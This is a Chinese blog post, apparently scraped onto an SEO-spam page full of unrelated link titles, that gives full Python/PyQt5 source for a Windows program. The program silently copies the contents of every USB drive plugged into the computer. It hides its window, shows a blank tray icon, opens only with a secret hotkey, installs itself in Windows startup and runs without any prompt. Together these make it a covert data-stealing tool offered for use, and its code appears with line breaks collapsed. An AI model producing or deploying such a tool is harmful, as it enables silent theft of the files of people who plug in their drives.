当前位置: 首页 > news >正文

盐城集团网站建设石家庄百度推广排名优化

盐城集团网站建设,石家庄百度推广排名优化,广州住房公积金建设银行预约网站,网站公司一站式服务功能:当电脑上有U盘插入时,自动复制U盘内的所有内容 主要特点: 1、使用PyQt5创建图形界面,但默认隐藏 2、通过CtrlAltU组合键可以显示/隐藏界面 3、自动添加到Windows启动项 4、监控USB设备插入 5、按修改时间排序复制文件 6、静…

功能:当电脑上有U盘插入时,自动复制U盘内的所有内容

主要特点:
1、使用PyQt5创建图形界面,但默认隐藏
2、通过Ctrl+Alt+U组合键可以显示/隐藏界面
3、自动添加到Windows启动项
4、监控USB设备插入
5、按修改时间排序复制文件
6、静默运行,无提示
7、自动跳过无法复制的文件
8、配置文件保存目标路径

使用说明:
1、首次运行时,按Ctrl+Alt+U显示界面
2、点击"选择目标文件夹"按钮设置保存位置
3、设置完成后可以关闭界面,程序会在后台运行
4、插入U盘后会自动复制内容到指定文件夹

 静默界面:

实现代码:

import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmapclass USBCopyTool(QMainWindow):def __init__(self):super().__init__()self.config_file = 'config.json'self.target_path = self.load_config()self.init_ui()self.setup_system_tray()self.setup_hotkey()# 添加窗口事件过滤器self.installEventFilter(self)# 启动USB监控线程self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)self.monitor_thread.start()def init_ui(self):self.setWindowTitle('USB自动复制工具')self.setGeometry(300, 300, 400, 200)central_widget = QWidget()self.setCentralWidget(central_widget)layout = QVBoxLayout()self.path_label = QLabel(f'当前目标路径: {self.target_path}')layout.addWidget(self.path_label)select_btn = QPushButton('选择目标文件夹')select_btn.clicked.connect(self.select_target_path)layout.addWidget(select_btn)central_widget.setLayout(layout)self.hide()def setup_system_tray(self):self.tray_icon = QSystemTrayIcon(self)# 创建一个1x1的空白图标而不是完全没有图标blank_icon = QIcon()blank_icon.addPixmap(QPixmap(1, 1))self.tray_icon.setIcon(blank_icon)self.tray_icon.show()def setup_hotkey(self):# 注册全局热键 (Ctrl+Alt+U)self.hot_key_id = 1try:win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord('U'))except Exception as e:print(f"热键注册失败: {e}")def nativeEvent(self, eventType, message):try:if eventType == "windows_generic_MSG":msg = wintypes.MSG.from_address(message.__int__())if msg.message == win32con.WM_HOTKEY:if self.isVisible():self.hide()else:self.show()return True, 0except Exception as e:print(f"事件处理错误: {e}")return False, 0def load_config(self):try:with open(self.config_file, 'r') as f:config = json.load(f)return config.get('target_path', '')except:return ''def save_config(self):with open(self.config_file, 'w') as f:json.dump({'target_path': self.target_path}, f)def select_target_path(self):path = QFileDialog.getExistingDirectory(self, '选择目标文件夹')if path:self.target_path = pathself.path_label.setText(f'当前目标路径: {self.target_path}')self.save_config()def monitor_usb(self):drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])print(f"初始驱动器: {drives_before}")while True:try:drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])new_drives = drives_now - drives_beforeif new_drives:print(f"检测到新驱动器: {new_drives}")for drive in new_drives:drive_type = win32file.GetDriveType(drive)print(f"驱动器 {drive} 类型: {drive_type}")if drive_type == win32con.DRIVE_REMOVABLE:print(f"开始复制U盘 {drive} 内容")self.copy_usb_contents(drive)drives_before = drives_nowtime.sleep(1)except Exception as e:print(f"监控错误: {e}")time.sleep(1)def copy_usb_contents(self, drive):if not self.target_path:print("未设置目标路径")return# 获取U盘卷标名称try:volume_name = win32api.GetVolumeInformation(drive)[0]# 如果U盘没有卷标名称,则使用盘符if not volume_name:volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')# 替换非法字符volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')except Exception as e:print(f"获取卷标名称失败: {e}")volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')target_folder = os.path.join(self.target_path, volume_name)print(f"复制到目标文件夹: {target_folder}")if not os.path.exists(target_folder):os.makedirs(target_folder)# 获取所有文件并按修改时间排序all_files = []try:for root, dirs, files in os.walk(drive):print(f"扫描目录: {root}")for file in files:file_path = os.path.join(root, file)try:mtime = os.path.getmtime(file_path)all_files.append((file_path, mtime))except Exception as e:print(f"无法获取文件信息: {file_path}, 错误: {e}")continueexcept Exception as e:print(f"扫描目录失败: {e}")all_files.sort(key=lambda x: x[1], reverse=True)print(f"找到 {len(all_files)} 个文件")# 复制文件for file_path, _ in all_files:try:rel_path = os.path.relpath(file_path, drive)target_path = os.path.join(target_folder, rel_path)target_dir = os.path.dirname(target_path)if not os.path.exists(target_dir):os.makedirs(target_dir)print(f"复制文件: {file_path} -> {target_path}")shutil.copy2(file_path, target_path)except Exception as e:print(f"复制失败: {file_path}, 错误: {e}")continuedef eventFilter(self, obj, event):if obj is self and event.type() == QEvent.WindowStateChange:if self.windowState() & Qt.WindowMinimized:# 延迟执行隐藏操作,避免界面闪烁QTimer.singleShot(0, self.hide)# 恢复窗口状态,这样下次显示时是正常状态self.setWindowState(Qt.WindowNoState)return Truereturn super().eventFilter(obj, event)def add_to_startup():try:startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')script_path = os.path.abspath(sys.argv[0])shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')shell = win32com.client.Dispatch("WScript.Shell")shortcut = shell.CreateShortCut(shortcut_path)shortcut.Targetpath = script_pathshortcut.WorkingDirectory = os.path.dirname(script_path)shortcut.save()except Exception as e:print(f"添加到启动项失败: {e}")if __name__ == '__main__':# 确保只运行一个实例mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:mutex = Nonesys.exit(0)add_to_startup()app = QApplication(sys.argv)tool = USBCopyTool()sys.exit(app.exec_()) 

http://www.hrbkazy.com/news/518.html

相关文章:

  • 龙采做网站要多少钱seo学徒招聘
  • 电话网站源码seo网站优化技术
  • 网站排名优化有哪些牛霸天的软件1中央广播电视总台
  • 怎样做网站的反链百度竞价包年推广公司
  • phpwind做的网站关键词大全
  • 大网络公司做网站视频营销模式有哪些
  • WordPress做漫画网站推广方法
  • 网站 css结构网络舆情监测专业
  • wordpress. 说说样式合肥全网优化
  • 自己建网站做代理商汕头seo按天付费
  • 网上做预算的网站广告公司网站
  • 网站软文标题上海有什么seo公司
  • 八步网站建设百度搜索引擎优化
  • 电子商务等于做网站吗软文网站推广
  • 男女做暧暧试看网站49网络推广电话
  • wordpress网站费用宁波seo网络推广产品服务
  • 电商网站怎么制作推广平台
  • 一级a做爰视频安全网站购买域名后如何建立网站
  • 建站宝盒全能版靠谱的推广平台有哪些
  • wordpress站下所有标签搜索引擎排名影响因素有哪些
  • 高端网站设计供应商南通seo网站优化软件
  • 北京网络开发公司seo百度关键词优化
  • 公司做网站价格长沙网站设计
  • 龙华住房和建设局网站seo企业培训班
  • 广州安全教育平台打卡引热议长春关键词优化平台
  • 网站服务提供商windows优化大师收费吗
  • 网站做404是什么意思百度软件下载安装
  • 重庆网站设计人员长尾关键词举例
  • 未来做哪些网站能致富江西百度推广开户多少钱
  • 推广普通话活动总结seo网站地图